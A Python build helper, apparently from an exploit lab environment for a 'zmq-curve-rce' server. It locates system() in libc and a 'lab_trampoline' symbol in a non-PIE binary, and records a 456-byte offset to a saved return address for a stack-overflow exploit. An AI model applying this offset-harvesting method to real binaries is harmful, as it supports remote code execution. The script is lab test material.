#!/usr/bin/env python3 """Pre-compute static exploit offsets from the build artifacts. Runs at Docker build time. Finds lab_trampoline's absolute address in the non-PIE server binary and system()'s offset in libc (informational). """ import json import subprocess import sys LIBC = "/usr/lib/x86_64-linux-gnu/libc.so.6" SERVER = "/opt/zmq-curve-rce/server-curve" OUT = sys.argv[1] if len(sys.argv) > 1 else "/opt/zmq-curve-rce/build_offsets.json" # system() offset in libc (informational — kept for calibrate.sh compatibility) nm_out = subprocess.check_output(["nm", "-D", LIBC]).decode() system_off = None for line in nm_out.splitlines(): parts = line.split() if len(parts) >= 3 and (parts[2] == "system" or parts[2].startswith("system@")): system_off = int(parts[0], 16) break if system_off is None: print("FATAL: system() not found in libc", file=sys.stderr) sys.exit(1) # lab_trampoline address in the non-PIE server binary (fixed, not affected by ASLR) nm_srv = subprocess.check_output(["nm", SERVER]).decode() trampoline_addr = None for line in nm_srv.splitlines(): parts = line.split() if len(parts) >= 3 and parts[2] == "lab_trampoline": trampoline_addr = int(parts[0], 16) break if trampoline_addr is None: print("FATAL: lab_trampoline symbol not found in server binary", file=sys.stderr) sys.exit(1) # Offset from memcpy dest to return address (from disassembly of process_initiate): # memcpy dest = RSP + 0x490 # return addr = RSP + 0x658 # offset = 0x1C8 = 456 OFFSET_TO_RET = 456 profile = { "system_off": system_off, "trampoline_addr": trampoline_addr, "offset_to_ret": OFFSET_TO_RET, } with open(OUT, "w") as f: json.dump(profile, f, indent=2) print(json.dumps({k: (hex(v) if v > 255 else v) for k, v in profile.items()}, indent=2))